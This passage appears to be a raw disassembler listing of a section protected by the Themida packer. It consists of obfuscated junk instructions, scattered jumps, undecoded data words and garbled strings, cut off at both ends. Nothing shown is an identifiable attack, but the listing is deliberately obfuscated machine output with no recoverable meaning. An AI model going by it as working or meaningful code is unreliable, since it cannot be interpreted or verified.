0FFFF2CCAh dd 4CAAE941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D12A: ; CODE XREF: Themida_:00554F44j add ebx, 5CFF48FFh push dword ptr [esp] pop edi push ebx jmp loc_55493F ; --------------------------------------------------------------------------- aXs7 db 'Xé³7',0 align 10h dd 5DC1815Fh, 11BB204h, 0DFC2E9C8h, 0D768FFFFh, 89000011h dd 59E9243Ch, 5EFFFF9Ch, 6AED68h, 243C8900h, 940799BFh dd 42B95129h, 0C15B0C15h, 46E908E1h, 80FFFF79h, 0CC28FDC4h dd 59FDEC80h, 0FF7CA1E9h, 348B54FFh, 4C48124h, 68000000h dd 6EF3h, 0BA241489h, 4, 65C0BA52h, 0D6297A84h, 56E3E9h dd 34FF5C00h, 0CC20E924h, 595FFFFFh, 50BA5257h, 0D16CD77Dh dd 42DAF7EAh, 38E9D2F7h, 6600006Ch, 0FE216658h, 0D6F7665Fh dd 0BF665766h, 816657A3h, 665C5CC6h, 8166FE29h, 665C5CEEh dd 4D05665Fh, 0F0016620h, 0BEBB6653h, 0EB81665Ch, 29663C71h dd 348B5BD8h, 4C48124h, 66000000h, 66229168h, 68243C89h dd 3D7Fh, 66243489h, 0E985F5BEh, 0FFFF704Eh ; --------------------------------------------------------------------------- loc_55D21C: ; CODE XREF: Themida_:0055FF73j xor edx, [esp] xor [esp], edx jmp loc_555E56 ; --------------------------------------------------------------------------- db 96h dd 0E7895751h, 4C781h, 0EF830000h, 2933E904h, 3C89FFFFh dd 56B95124h, 811A6414h, 0B64BEE1h, 5E1C133h, 2421C981h dd 0D9F74600h, 1F89C181h, 0CF89706Ch, 175BE9h, 9A0400h dd 2C9A2CE8h, 2434FF96h, 592434FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_557C58 ; --------------------------------------------------------------------------- aBJxg db 'ÅJxG',0 dd 307DC581h, 3C8B4BA7h, 4C48124h, 1000000h, 2434FFEFh dd 4C4815Dh, 68000000h, 2B48h, 1070E9h db 0 ; --------------------------------------------------------------------------- loc_55D2A9: ; CODE XREF: Themida_:0055D5E0j sub edi, 0F90B6148h and edx, edi pop edi jmp loc_55EE58 ; --------------------------------------------------------------------------- loc_55D2B7: ; CODE XREF: Themida_:005525BCj push dword ptr [ebx] mov ecx, [esp] jmp loc_55CE7B ; --------------------------------------------------------------------------- db 87h, 0F1h, 0F7h dd 0C1F187D6h, 54E902E1h db 60h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D2CF: ; CODE XREF: Themida_:005580E4j add eax, ecx push edi push 1AA5657Bh pop edi add eax, edi pop edi mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_54F839 ; --------------------------------------------------------------------------- dw 48Fh dd 8841E924h, 966FFFFh, 0E99C2404h, 0FFFF2069h, 0C106EFC1h dd 0E95706EFh, 326Ah, 0E904EC83h, 0FFFFDCB1h ; --------------------------------------------------------------------------- loc_55D318: ; CODE XREF: Themida_:00554379j xchg edx, [esp] pop esp shr ecx, 2 push 7D50h mov [esp], ebx jmp loc_559E62 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0E9512404h, 25A9h, 84BD5557h, 8935746Bh dd 2434FFEFh, 52DAE9h, 34895C00h, 81E68924h, 4C6h, 4EE8100h dd 0E9000000h, 0FFFFE62Bh ; --------------------------------------------------------------------------- loc_55D360: ; CODE XREF: Themida_:00557904j xchg ebp, [esp] jmp loc_5526D7 ; --------------------------------------------------------------------------- dd 0FE4F681h, 0CE877D6Bh, 0FF592CE9h, 6EE952FFh db 6Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D37B: ; CODE XREF: Themida_:0055EBF6j add edi, edx jmp loc_55B68E ; --------------------------------------------------------------------------- dw 15Eh dd 240C8BC8h, 0FF7DFAE9h, 4EC81FFh, 89000000h, 0E789243Ch dd 4C781h, 0B9510000h, 296E3C52h, 8103E9C1h, 2DC788F1h dd 2B50E905h, 0CC250000h, 482E6149h, 4125D0F7h, 0E9024331h dd 693Ah, 8B2434FFh, 0DDE92404h, 5E00006Bh, 2414F752h dd 0E5BB535Ah, 817C9B79h, 5A23CBF3h, 227BE92Fh, 0E95CFFFFh dd 0FFFF6FC2h, 8124248Bh, 4C4h, 0EC815100h, 4, 83242489h dd 0E9042404h, 0FFFF94CEh, 0D5242C81h, 0E97A8D6Dh, 0FFFF3618h dd 5B2434FFh, 7F8568h, 24148900h, 790AE954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D426: ; CODE XREF: Themida_:005626F8j push edi mov edi, 78BB2BC9h not edi jmp loc_555226 ; --------------------------------------------------------------------------- db 52h dd 0F00845BAh, 0E9D13114h, 0FFFF4871h ; --------------------------------------------------------------------------- loc_55D440: ; CODE XREF: Themida_:00554C98j pop esi jmp loc_5607AD ; --------------------------------------------------------------------------- dw 0C15Bh dd 814D06EDh, 0A07B49C5h, 5DEE01FDh, 434168h, 240C8900h dd 2B9h, 0E95300h db 0F3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D467: ; CODE XREF: Themida_:0055BB14j not edx jmp loc_55BEB2 ; --------------------------------------------------------------------------- dw 0EE81h dd 61574C33h, 0FFF9B8E9h, 240401FFh, 1EEBE99Ch, 0BB53FFFFh dd 0 dd 40C0EB81h, 55E91132h, 83FFFF9Ch, 0C8704C1h, 814B5C24h dd 5757C8C3h, 8BD8014Ah, 0C483241Ch, 90E95304h, 1000068h dd 0FF19E9F2h, 7768FFFFh, 8900005Ch, 0A2BB241Ch, 4331242Dh dd 95CE957h, 0DD290000h, 242C875Bh, 2434895Ch, 4BEh, 0A6B95100h dd 297B7213h, 222D59C8h, 106C215h, 152205F0h, 0E95306C2h dd 0FFFFF3D1h ; --------------------------------------------------------------------------- loc_55D4F4: ; CODE XREF: Themida_:0055166Dj pop dword ptr [esp] jmp loc_561B5F ; --------------------------------------------------------------------------- aRbQ1Hvt db '¹rBÙQ1Ù[hVT',0 dd 24148900h, 1150D3BAh, 66B85021h, 0E9071BDCh, 0FFFFB2EBh dd 0F658C320h, 16CB80D3h, 0C0CEB252h, 0DAF606EAh, 5C75E9h db 0 ; --------------------------------------------------------------------------- loc_55D531: ; CODE XREF: Themida_:005518F7j mov [esp], edi push ebx push 2A2Ch mov [esp], eax push edx push 3871114Ah pop edx xor edx, 371D4453h mov eax, edx pop edx sub [esp+4], eax mov eax, [esp] add esp, 4 mov edi, [esp] add esp, 4 push ebp mov ebp, 0F6C5519h add edi, 1C2E0569h add edi, ebp sub edi, 1C2E0569h pop ebp mov eax, edi jmp loc_55DF7E ; --------------------------------------------------------------------------- db 89h, 0E3h, 0E9h dd 0FFFFBD14h, 0EA81EA01h, 47467C7Fh, 209BE9h db 0 ; --------------------------------------------------------------------------- loc_55D58D: ; CODE XREF: Themida_:00552DC2j mov eax, 74B46AD8h not eax jmp loc_5633A8 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FF4ED6E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D5A1: ; CODE XREF: Themida_:0055B042j pop ebx pop eax mov [eax], cl push dword ptr [esp] pop ecx push ebx jmp loc_55CD4F ; --------------------------------------------------------------------------- db 8Bh dd 13682424h, 89000030h, 0AEE92404h, 29FFFF1Dh, 0CA295AD1h dd 0AF63E959h, 0B850FFFFh, 68CF46CDh, 0FFA8C8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D5D5: ; CODE XREF: Themida_:0055C7A4j not edi shr edi, 4 or edi, 301B5F46h jmp loc_55D2A9 ; --------------------------------------------------------------------------- db 83h, 0C6h, 4 aZ4Szq db '‡4$é§Q',0 align 10h dd 0F781EFD1h, 3FAEFh, 3CE9FE01h db 23h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D5FF: ; CODE XREF: Themida_:00562FA6j push ebp jmp loc_55CF2A ; --------------------------------------------------------------------------- loc_55D605: ; CODE XREF: Themida_:loc_557D50j ; Themida_:00563D2Aj push 174Dh mov [esp], edx jmp loc_5636B2 ; --------------------------------------------------------------------------- dw 0EEC1h dd 0F6814E03h, 60745F53h, 18EE8146h, 510B535Ah, 0FF7094E9h dd 240C87FFh, 21A4E9h, 0AEEF8000h, 805BF900h, 0F180B2F1h dd 3B92E9C9h, 0EC810000h, 4, 0BD242C89h, 0FFC23220h, 835DEB29h dd 0C8904ECh, 8FD5E924h, 0E5B9FFFFh, 291FD13Fh, 0C8E959CDh dd 81000005h, 4C7h, 0D5B95100h, 810B181Ah, 0A366FDE9h dd 0E4E9815Eh, 8170E678h, 0E218FCC9h, 0F8E9812Dh, 293FEE3Ah dd 3C8759CFh, 0E53AE924h, 0EB81FFFFh, 1E0E0A81h, 0BD55575Ah dd 2EFF3492h, 58E89DBFh, 0B6FFE969h, 0C481FFFFh, 4, 4244481h dd 3B762F4Fh, 4244401h, 4246C81h, 3B762F4Fh, 8324048Bh dd 0D9E904ECh, 89000026h, 0E95258C1h, 527Ah, 2B9h, 41EA8100h dd 11AD410h, 41C281CAh, 591AD410h, 8B241487h, 0B7E92424h dd 81FFFF1Dh, 772008C9h, 0DEC98124h, 8128564Ch, 0FFFEFAF1h dd 59CE897Eh, 348BF201h, 4C48124h, 87000000h, 248B2414h dd 0C225E924h, 0BD55FFFFh, 23CD96CFh, 315DEB01h, 0FA895BDFh dd 5AD3015Fh, 2474FF53h, 48F5B04h, 89575C24h, 4C781E7h dd 81000000h, 4C7h, 2176E900h, 70050000h, 1C5C864h, 0C18358C1h dd 240C8704h, 5324248Bh, 0A7E9E389h, 4000067h, 19D56850h dd 14890000h, 0C1B15124h, 31DD68h, 241C8900h, 0DA88CB88h dd 3FE9595Bh, 54FFFFBEh, 8324048Fh, 5F042404h, 0DDBB5355h dd 895FA445h, 0E9515BDDh, 0FFFFD06Dh ; --------------------------------------------------------------------------- loc_55D7AC: ; CODE XREF: Themida_:0055FBCAj sub bl, dl sub bl, 1Ah mov dx, [esp] add esp, 2 sub esp, 4 mov [esp], ecx mov cl, 7 push eax jmp loc_559F38 ; --------------------------------------------------------------------------- dd 35240481h, 530D591Fh, 80303EBBh, 245C297Ah, 241C8B04h dd 8104C483h, 6E9A242Ch, 0FFE925A4h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55D7EF: ; CODE XREF: Themida_:00551049j add ebx, 3D6240D3h dec ebx xor ebx, 8AECB856h add ecx, 49391D3Ah add ecx, ebx sub ecx, 49391D3Ah pop ebx jmp loc_55CC9A ; --------------------------------------------------------------------------- aB4sk7 db '¹',0Bh,'b',1Bh,'4éK7',0 align 2 dw 5659h dd 4BEh, 73E98100h, 15E3A1Eh, 73C181F1h, 5E5E3A1Eh, 7D685557h dd 89000060h, 1DB82404h, 0C1399D5Ch, 10504E0h, 5000000h dd 6A6E36E4h, 429ABD55h, 31E92C52h, 58000057h, 0FF8422E9h db 0FFh ; --------------------------------------------------------------------------- loc_55D85D: ; CODE XREF: Themida_:00550E82j pop edx add esi, ecx push ebp mov ebp, 21105D5Eh sub esi, ebp pop ebp pop ecx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] div cx jmp loc_56148D ; --------------------------------------------------------------------------- loc_55D87E: ; CODE XREF: Themida_:0055F3D9j pop edx pop eax jmp loc_563ED9 ; --------------------------------------------------------------------------- loc_55D885: ; CODE XREF: Themida_:00563F30j add ecx, 1 inc ecx shr ecx, 3 push esi jmp loc_557023 ; --------------------------------------------------------------------------- loc_55D895: ; CODE XREF: Themida_:00555683j push eax mov eax, esp jmp loc_557316 ; --------------------------------------------------------------------------- db 30h, 0D9h, 5Bh dd 0DA78E953h, 5D58FFFFh, 0E9C38853h, 0FFFFA284h, 8124248Bh dd 0DC522BF3h, 0CCBB5352h, 0E9484042h, 0FFFF9B6Ah, 0E9240487h dd 0FFFF4574h, 37A2E959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55D8D2: ; CODE XREF: Themida_:0055223Fj push ebx push 0C876138h pop ebx sub ebx, 1 xor ebx, 485F538Ah sub ebx, 59426109h sub ebx, 7F02B0FFh mov edx, ebx pop ebx sub eax, edx pop edx push dword ptr [eax] xor dword ptr [esp], 5BD055E7h pop ecx xor ecx, 5BD055E7h mov eax, [esp] add esp, 4 push 20FBh mov [esp], ebp mov ebp, 4 and ecx, ebp jmp loc_5534A4 ; --------------------------------------------------------------------------- dw 2C8Bh dd 4C48324h, 4382EF81h, 0F7811DE7h, 74F46909h, 0C7814747h dd 8AB5851Eh, 5B5FFD29h, 4ED81h, 2C870000h, 0C31DE924h dd 68BBFFFFh, 0F7287B58h, 5EBC1DBh, 1698E9h db 0 ; --------------------------------------------------------------------------- loc_55D959: ; CODE XREF: Themida_:0055B7CAj push ebx jmp loc_557A7A ; --------------------------------------------------------------------------- db 1 dd 5204244Ch, 0DB7773BAh, 0B01BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55D96E: ; CODE XREF: Themida_:0055AC0Aj dec ecx push edx mov edx, 0FEC9D152h sub ecx, edx pop edx add ebp, ecx pop ecx sub eax, 778F2954h push ecx push 11EC388Eh pop ecx jmp loc_550789 ; --------------------------------------------------------------------------- loc_55D98C: ; CODE XREF: Themida_:00550A20j mov ebp, [esp] add esp, 4 pop edi push 3B6Eh mov [esp], esi push ebx mov ebx, 1456781Ch mov esi, 0EBA987E8h add esi, ebx pop ebx push 2BECh jmp loc_557217 ; --------------------------------------------------------------------------- db 81h dd 45F9EBE9h, 60A72DE0h, 0C8294D00h, 267E68h, 24348900h dd 561FE9h, 7F83AD00h, 840F0020h, 0FFFF1FE6h, 56D6C681h dd 68525B3Ah, 743h, 0BB241C89h, 64806089h, 815BDA89h, 0D10665C6h dd 81D60119h, 0D10665EEh, 24148B19h, 4C481h, 31E90000h dd 29FFFFB4h, 816E9CDh, 52530000h, 0E2E9C6B2h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DA1B: ; CODE XREF: Themida_:00557AF3j inc edi inc edi jmp loc_558A53 ; --------------------------------------------------------------------------- loc_55DA22: ; CODE XREF: Themida_:00555FF3j sub ecx, 948342Bh add ecx, 0F296E960h jmp loc_552566 ; --------------------------------------------------------------------------- db 5Bh dd 0FF32A2E9h, 0C18141FFh, 15DB77D0h, 2889E181h, 0E9817F31h dd 0DED59A97h, 0C159CB89h, 0EBD106E3h, 7AEC381h, 0F38105ADh dd 1777CF26h, 215BDA89h, 0BA525AD1h, 11286CD5h, 21BFF281h dd 0C2817363h, 6028531Ch, 2FE2814Ah, 0F74E2545h, 40C281DAh dd 0E9EEB7A4h, 0FFFFFB33h, 4BDh, 0E9EB2900h, 34DEh ; --------------------------------------------------------------------------- loc_55DA98: ; CODE XREF: Themida_:0055B0DDj movzx eax, al jmp loc_559A61 ; --------------------------------------------------------------------------- loc_55DAA0: ; CODE XREF: Themida_:00556E79j add edx, 7B4C2205h push ecx jmp loc_56287C ; --------------------------------------------------------------------------- dd 24348157h, 462710E8h, 0E8F6815Eh, 5F462710h, 555EF301h dd 0FFFFC7E9h, 241489FFh, 0BB535A54h, 4F6734A2h, 7A1BB951h dd 0C9817615h, 7AE4307Eh, 0F7F18141h, 811D6319h, 4B5BDDC1h dd 0FCF1813Ah, 218A889Fh, 8AE959CBh, 28FFFF97h, 6606E9CEh dd 5F590000h, 437868h, 24348900h, 4BEh, 74EF8100h, 17CAE1Eh dd 74BA52F7h, 817CAE1Eh, 0AE58BCC7h, 0E9D7016Ah, 0FFFF4C0Dh dd 246C815Ch, 93360804h, 247C0106h, 24448104h, 93360804h dd 4015F06h, 34E95024h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55DB47: ; CODE XREF: Themida_:0055FD6Cj xor ebp, eax xor eax, ebp xor ebp, eax xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] mov eax, [esp] add esp, 4 push ecx mov ecx, esp push esi jmp loc_55C0DA ; --------------------------------------------------------------------------- dd 0D9BA525Eh, 0E909BB1Fh, 0FFFF5843h, 38E9E389h, 81FFFFA1h dd 4C4h, 447FE900h, 489FFFFh, 943CE924h, 815AFFFFh, 4C2h dd 4EC8100h, 89000000h, 2B82404h, 0E9000000h, 0FFFF38F4h dd 2511F1BDh, 5DE88903h, 0FFCE09E9h, 2404FEFFh, 17AFE99Ch dd 815DFFFFh, 0F15840C5h, 4EC817Ch, 89000000h, 0C0BF243Ch dd 0E9508B7Dh, 0FFFFC846h ; --------------------------------------------------------------------------- loc_55DBD8: ; CODE XREF: Themida_:00553C05j pop esi pop ebx sub esp, 4 mov [esp], edx mov edx, 483404EEh push edi push ebx push 4B5F5D0Ch pop ebx not ebx xor ebx, 8D479121h mov edi, ebx pop ebx dec edi shr edi, 2 xor edi, 28B8A137h or edx, edi pop edi sub edx, 852B8910h add ecx, edx pop edx mov eax, ecx push dword ptr [esp] pop ecx push eax jmp loc_564432 ; --------------------------------------------------------------------------- loc_55DC1D: ; CODE XREF: Themida_:0055903Fj pop esp pop edx push dword ptr [edi+eax*4] sub esp, 4 jmp loc_55E47F ; --------------------------------------------------------------------------- dw 15Ah dd 4FE955DFh, 1FFFF30h, 0E5C581C5h, 0E91FD13Fh, 0FFFF5CDFh dd 0E9241C33h, 49F0h, 50C9B951h, 0CE894C59h, 9872E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC56: ; CODE XREF: Themida_:0055A83Bj push edx push eax mov al, ch mov dl, al pop eax mov bl, dl pop edx mov ch, dl jmp loc_55C199 ; --------------------------------------------------------------------------- db 89h dd 0C0BD242Ch, 1B1695Bh, 0DA015DEBh, 0C283585Bh, 24143302h dd 33241431h, 248B2414h, 64026824h, 0C890000h, 4349E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DC92: ; CODE XREF: Themida_:00556235j not esi or esi, 36080D02h jmp loc_561BD3 ; --------------------------------------------------------------------------- db 81h dd 0E49C42F6h, 5EF52923h, 40B95159h, 54DC736h, 3E864204h dd 42DC829h, 0E93E8642h, 0FFFF43C8h, 1BDh, 5DEA2900h, 9487E952h dd 814FFFFFh, 0A1457CEFh, 0F26BE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DCDA: ; CODE XREF: Themida_:005544E3j mov ebp, 29486CABh sub ebp, 5E543965h jmp loc_552C60 ; --------------------------------------------------------------------------- dw 4E0Dh dd 403D3646h, 89A10405h, 58C58900h, 2C8BEE01h, 36B6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DD02: ; CODE XREF: Themida_:00560A48j mov ecx, 60B967D7h jmp loc_550DFF ; --------------------------------------------------------------------------- dd 54240489h, 0FFAE5DE9h, 91068FFh, 34890000h, 38E1BE24h dd 0BA525341h, 322C7F97h, 8106E2C1h, 344DB8EAh, 74F2812Eh dd 0F7230924h, 0DAF281DAh, 812ADD14h, 79F7CDC2h, 5AD601D4h dd 8808EE81h, 6FE9D27Bh db 18h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DD53: ; CODE XREF: Themida_:00555221j xor edx, 0BB0172Eh add edx, 95CB14ABh add edx, esi pop esi add edx, 391949FCh add edx, edi push 767Dh mov [esp], ebp jmp loc_5578AD ; --------------------------------------------------------------------------- loc_55DD77: ; CODE XREF: Themida_:005505A0j mov edi, esp add edi, 4 jmp loc_5572F0 ; --------------------------------------------------------------------------- dd 575EF001h, 0FF9C7DE9h, 76E95EFFh, 66FFFFDEh, 0E9DD3059h dd 0FFFFC0C0h, 0E95EF031h, 37A0h, 0E904C483h, 0FFFFF9C7h dd 3D2DEA81h, 0D031B00Bh, 0FFD000E9h db 0FFh ; --------------------------------------------------------------------------- loc_55DDB9: ; CODE XREF: Themida_:00558B62j add ebx, edi pop edi pop edi push edx mov edx, 19D2390Dh jmp loc_55449A ; --------------------------------------------------------------------------- loc_55DDC8: ; CODE XREF: Themida_:005554BAj pop esi push edx mov edx, 782B7AB0h shl edx, 6 jmp loc_55EAFF ; --------------------------------------------------------------------------- db 0B9h dd 4, 1313EE81h, 0CE01587Eh, 0A6BE5657h, 8116ED76h, 1D64A1CEh dd 74CE8179h, 8155887Eh, 80941CC6h, 0A015E9D8h, 0C701FFFFh dd 62A7C781h, 0EF8168BAh, 630F6750h, 42D8EF81h, 8B585A26h dd 0C4812404h, 4, 0B2AEE9C3h, 0FABFFFFFh, 0F70C3744h, 0B6EF81D7h dd 8154D745h, 8E3EA0F7h, 48EF8175h, 31BA5B1Eh, 8D3CE9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DE46: ; CODE XREF: Themida_:00554127j mov eax, [esp] add esp, 4 add esp, 4 push ebp push esp mov ebp, [esp] add esp, 4 push esi push 67105A31h mov esi, [esp] jmp loc_55B686 ; --------------------------------------------------------------------------- db 0BEh dd 5B353A1Dh, 525EF189h, 722B6850h, 2D5838FFh, 475964EBh dd 3DF2C205h, 0E9C28911h, 0FFFF49C7h, 4C481h, 0D9280000h dd 83241C8Bh, 0BF2C04C4h, 0FF42BCE9h, 5AD121FFh, 6650BA52h dd 73E9F9A2h db 0C0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DEAF: ; CODE XREF: Themida_:00561423j push ebp jmp loc_55EFBF ; --------------------------------------------------------------------------- db 53h, 0BBh, 4 dd 1000000h, 3C335BDFh, 243C3124h, 0E9243C33h, 0FFFF9004h ; --------------------------------------------------------------------------- loc_55DECC: ; CODE XREF: Themida_:00551C7Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp push small 5768h mov [esp], cx push ebx jmp loc_55E6B0 ; --------------------------------------------------------------------------- loc_55DEE4: ; CODE XREF: Themida_:005552E5j mov ebp, esi pop esi shl ebp, 8 push ebp push eax mov ebp, [esp] add esp, 4 pop eax not eax xchg eax, ebp neg ebp push eax jmp loc_557EC6 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0B6CB951h, 0B1BE212Ch, 2946BE68h, 0F18959CEh, 0BB2FE95Eh dd 815BFFFFh, 4C4h, 8A17E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF26: ; CODE XREF: Themida_:0055031Fj pop edx push edx mov edx, 4 add esi, edx pop edx xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 jmp loc_5548D8 ; --------------------------------------------------------------------------- dw 87B5h dd 5966EF20h, 88E9C7FEh, 5CFFFF86h, 0EC835366h, 0C896602h dd 72CAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55DF7E: ; CODE XREF: Themida_:0055D574j push dword ptr [esp] mov edi, [esp] add esp, 4 push edi push 4FB8h jmp loc_559921 ; --------------------------------------------------------------------------- dw 0EC80h dd 0E1E951CDh, 47000018h, 0F781D7F7h, 8B39B9C0h, 32BE5657h dd 310FB234h, 5E042474h, 81242C8Bh, 4C4h, 32F58100h, 5F0FB234h dd 43E4E9h, 24148700h, 2414895Ch, 40E95A54h, 89FFFFE7h dd 0E189240Ch, 5D0668h, 16FEE900h, 0A30FFFFFh, 0E99C2404h dd 0FFFF1381h, 24B3F281h, 0D6890F2Fh, 5D85E9h, 1BD5500h dd 0E9388564h, 0FFFFB14Ah, 0B0E9E089h, 5AFFFFD8h, 0F6DBF658h dd 0B9F380D3h, 16E9DBF6h, 59FFFF5Fh, 0C744620Dh, 86D3519h dd 412D6A9Ah, 682F7C58h, 0 dd 58240429h, 7BDCBA52h, 0E94222E0h, 0FFFF6800h, 83243C89h dd 48904ECh, 4FEB824h, 0B2E94134h, 52FFFFB5h, 8851E288h dd 1BAAE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E05E: ; CODE XREF: Themida_:00561761j pop ebp push ebx push esp pop ebx add ebx, 4 add ebx, 4 jmp loc_5535F6 ; --------------------------------------------------------------------------- db 66h dd 0F2E99C51h db 12h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E07B: ; CODE XREF: Themida_:005530F5j pop ebp jmp loc_556D86 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 7 dd 4009E981h, 22E9180Dh, 59FFFF13h, 712E9h db 0 ; --------------------------------------------------------------------------- loc_55E095: ; CODE XREF: Themida_:0055845Cj sub ebx, 30EA3116h add eax, ebx pop ebx pop ecx sub eax, 0A572234h sub eax, ebp add eax, 0A572234h push esi mov esi, 17E333E7h jmp loc_555002 ; --------------------------------------------------------------------------- dw 0D601h dd 62B9EE81h, 0BA525619h, 7C5B0F6Ah, 8103EAC1h, 0AB0749EAh dd 3AC28131h, 294B58C4h, 0A3E95AD6h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0DB: ; CODE XREF: Themida_:0055BA5Bj add ecx, esi add ecx, 71335AFAh jmp loc_552497 ; --------------------------------------------------------------------------- dd 8002E2C0h, 7EE9F7C2h, 8900001Ch, 0E2892414h, 4C281h dd 0BD550000h, 4, 4BE9EA29h, 5BFFFF3Fh, 3EB6E9h, 4EC8300h dd 68241489h, 3D4A382Bh, 6824148Bh, 5528h, 0FF7F10E9h dd 462CB9FFh, 0D9312E68h, 5E1C15Bh, 0D290E981h, 0EA8177AFh dd 35BF62AEh, 0C9E9CA29h, 68FFFF61h, 43A0h, 0E9240C89h dd 0FFFF3433h, 0CA8EF81h, 5250433Ah, 0C5AE9h, 180B6800h dd 1C890000h, 3E12BB24h, 0EBC12C99h, 7E3C107h, 2669EB81h dd 0EB816D8Eh, 0BD2E0A73h, 0D15BD989h, 0D2BE56E1h, 0E971DC20h dd 0FFFF9798h ; --------------------------------------------------------------------------- loc_55E190: ; CODE XREF: Themida_:0055A65Cj add ch, 0D5h jmp loc_55A3BF ; --------------------------------------------------------------------------- dd 7151C381h, 43E968CBh db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1A3: ; CODE XREF: Themida_:0055C814j xchg esi, [esp] not esi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_553029 ; --------------------------------------------------------------------------- dw 0C183h dd 534AE904h, 0AAE90000h db 11h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1C3: ; CODE XREF: Themida_:0056186Aj push edi mov edi, 3B335C20h jmp loc_5586C7 ; --------------------------------------------------------------------------- loc_55E1CE: ; CODE XREF: Themida_:00561B6Dj add esp, 4 push edi jmp loc_5638A8 ; --------------------------------------------------------------------------- loc_55E1DA: ; CODE XREF: Themida_:005514AAj add ebp, 4 jmp loc_557426 ; --------------------------------------------------------------------------- dw 0BD55h dd 176F6916h, 0E5C1D5F7h, 0D2ED8102h, 5648523Dh, 31562BEh dd 8556E946h, 348BFFFFh, 4C48324h, 3A7E9h, 81434B00h, 0B81F24CBh dd 0E9EBD113h, 0FFFF3912h ; --------------------------------------------------------------------------- loc_55E218: ; CODE XREF: Themida_:00552A3Dj push eax add dword ptr [esp], 51DC3C6Bh push dword ptr [esp] jmp loc_562C8F ; --------------------------------------------------------------------------- dd 5C1DBE56h, 1EE9370Eh db 6Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E233: ; CODE XREF: Themida_:0054F3FEj push edi mov edi, 0 sub edi, ebx xchg edi, ebx jmp loc_55C341 ; --------------------------------------------------------------------------- dw 483h dd 815A0424h, 4C2h, 4C28100h, 0E9000000h, 0FFFF63C9h, 0A96FE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E25E: ; CODE XREF: Themida_:0056336Dj jmp loc_54F36D ; --------------------------------------------------------------------------- db 81h dd 42404h, 68580000h, 984h, 0BB241C89h, 37605EE4h, 4EC81h dd 34890000h, 12F9BE24h, 0EB813C50h, 14395E1Eh, 90E9F329h db 3Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E293: ; CODE XREF: Themida_:00561BCEj mov ebp, [esp] add esp, 4 push dword ptr [esp] jmp loc_550DD3 ; --------------------------------------------------------------------------- loc_55E2A1: ; CODE XREF: Themida_:0054F4B1j or edx, eax shl edx, 1 push esi jmp loc_55E43F ; --------------------------------------------------------------------------- db 8Bh dd 8957242Ch, 0F3B5E9E7h, 3489FFFFh, 208BE924h, 1C8BFFFFh dd 4C48324h, 0E904EF83h, 0FFFF20C4h ; --------------------------------------------------------------------------- loc_55E2CC: ; CODE XREF: Themida_:0055B690j mov ecx, 4 jmp loc_55843A ; --------------------------------------------------------------------------- loc_55E2D6: ; CODE XREF: Themida_:005526D2j pop edx add eax, esi pop esi push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp jmp loc_55CB77 ; --------------------------------------------------------------------------- loc_55E2F2: ; CODE XREF: Themida_:005628AEj push edx mov edx, 63907C89h mov esi, edx pop edx shr esi, 1 jmp loc_558F90 ; --------------------------------------------------------------------------- loc_55E302: ; CODE XREF: Themida_:0056334Dj and edi, 1AE3127Dh inc edi push eax mov eax, 1025494Ah xor eax, 49824BBBh jmp loc_5621BB ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 42474FFh, 24048F5Fh, 0FF24248Bh, 56582434h, 0BF57E689h dd 4, 575FFE01h, 4BFh, 2B53E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E342: ; CODE XREF: Themida_:005502D2j add ecx, 6C5E7F8Eh add ecx, 49EA6996h shl ecx, 7 sub ecx, 1BA3D666h sub edx, ecx pop ecx jmp loc_55962F ; --------------------------------------------------------------------------- db 0BAh dd 4, 4244481h, 2B0A2F98h, 4245401h, 4246C81h, 2B0A2F98h dd 8124148Bh, 4C4h, 517BE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E386: ; CODE XREF: Themida_:00563F02j push ebx sub esp, 4 mov 